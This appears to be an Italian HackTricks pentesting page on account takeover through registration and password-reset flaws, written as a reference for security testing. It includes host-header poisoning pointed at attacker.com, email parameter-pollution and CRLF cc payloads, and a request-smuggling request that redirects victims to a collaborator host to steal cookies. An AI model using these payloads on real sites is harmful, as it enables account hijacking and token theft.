9.8 KiB
Vulnerabilità di registrazione e takeover
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Takeover di registrazione
Registrazione duplicata
- Prova a generare utilizzando un nome utente esistente
- Verifica la variazione dell'email:
- maiuscole
- +1@
- aggiungi qualche punto nell'email
- caratteri speciali nel nome dell'email (%00, %09, %20)
- Metti caratteri neri dopo l'email:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Enumerazione degli username
Verifica se puoi capire quando un nome utente è già stato registrato nell'applicazione.
Politica delle password
Creando un utente, verifica la politica delle password (verifica se puoi utilizzare password deboli).
In tal caso, potresti provare a forzare le credenziali.
SQL Injection
Controlla questa pagina per imparare come tentare il takeover dell'account o estrarre informazioni tramite SQL Injections nei moduli di registrazione.
Takeover di Oauth
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
Vulnerabilità di SAML
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
Cambio email
Quando ti registri, prova a cambiare l'email e verifica se questa modifica viene correttamente convalidata o se puoi cambiarla in email arbitrarie.
Altri controlli
- Verifica se puoi utilizzare email usa e getta
- Password lunga (>200) porta a DoS
- Verifica i limiti di velocità sulla creazione dell'account
- Utilizza username@burp_collab.net e analizza il callback
Takeover del reset della password
Fuga del token di reset della password tramite referrer
- Richiedi il reset della password al tuo indirizzo email
- Fai clic sul link di reset della password
- Non cambiare la password
- Fai clic su qualsiasi sito di terze parti (ad esempio: Facebook, Twitter)
- Intercepisci la richiesta in Burp Suite proxy
- Verifica se l'intestazione referer sta rivelando il token di reset della password.
Avvelenamento del reset della password
- Intercepisci la richiesta di reset della password in Burp Suite
- Aggiungi o modifica le seguenti intestazioni in Burp Suite:
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Inoltra la richiesta con l'intestazione modificata
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Cerca un URL di reset della password basato sull'intestazione host come:
https://attacker.com/reset-password.php?token=TOKEN
Reset della password tramite parametro email
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR sui parametri API
- L'attaccante deve effettuare il login con il proprio account e accedere alla funzione Cambia password.
- Avviare Burp Suite e intercettare la richiesta.
- Inviare la richiesta alla scheda repeater e modificare i parametri: ID utente/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Token di reset password debole
Il token di reset password dovrebbe essere generato casualmente e unico ogni volta.
Cerca di determinare se il token scade o se è sempre lo stesso, in alcuni casi l'algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere utilizzate dall'algoritmo.
- Timestamp
- ID utente
- Email dell'utente
- Nome e cognome
- Data di nascita
- Crittografia
- Solo numeri
- Sequenza di token breve (caratteri tra [A-Z,a-z,0-9])
- Riutilizzo del token
- Data di scadenza del token
Divulgazione del token di reset password
- Genera una richiesta di reset password utilizzando l'API/UI per un'email specifica, ad esempio: test@mail.com
- Ispeziona la risposta del server e controlla il campo
resetToken
- Utilizza quindi il token in un URL come
https://example.com/v3/user/password/reset?resetToken=[IL_RESET_TOKEN]&email=[LA_MAIL]
Reset password tramite collisione di username
- Registrati nel sistema con un nome utente identico a quello della vittima, ma con spazi bianchi inseriti prima e/o dopo il nome utente, ad esempio:
"admin "
- Richiedi un reset password con il tuo nome utente malevolo.
- Utilizza il token inviato alla tua email e reimposta la password della vittima.
- Accedi all'account della vittima con la nuova password.
La piattaforma CTFd era vulnerabile a questo attacco.
Vedi: CVE-2020-7245
Takeover dell'account tramite Cross Site Scripting
- Trova una XSS all'interno dell'applicazione o di un sottodominio se i cookie sono limitati al dominio principale:
*.domain.com
- Divulga il cookie di sessione corrente.
- Autenticati come l'utente utilizzando il cookie.
Takeover dell'account tramite HTTP Request Smuggling
1. Utilizza smuggler per rilevare il tipo di HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Crea una richiesta che sovrascriverà POST / HTTP/1.1
con i seguenti dati:
GET http://something.burpcollaborator.net HTTP/1.1 X:
con l'obiettivo di reindirizzare le vittime a burpcollab e rubare i loro cookie
3. La richiesta finale potrebbe assomigliare alla seguente
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
I report di Hackerone che sfruttano questo bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Account Takeover tramite CSRF
- Creare un payload per il CSRF, ad esempio: "Modulo HTML con invio automatico per il cambio password"
- Inviare il payload
Account Takeover tramite JWT
Il JSON Web Token potrebbe essere utilizzato per autenticare un utente.
- Modificare il JWT con un altro ID utente / Email
- Verificare la firma debole del JWT
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
Riferimenti
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud github repos.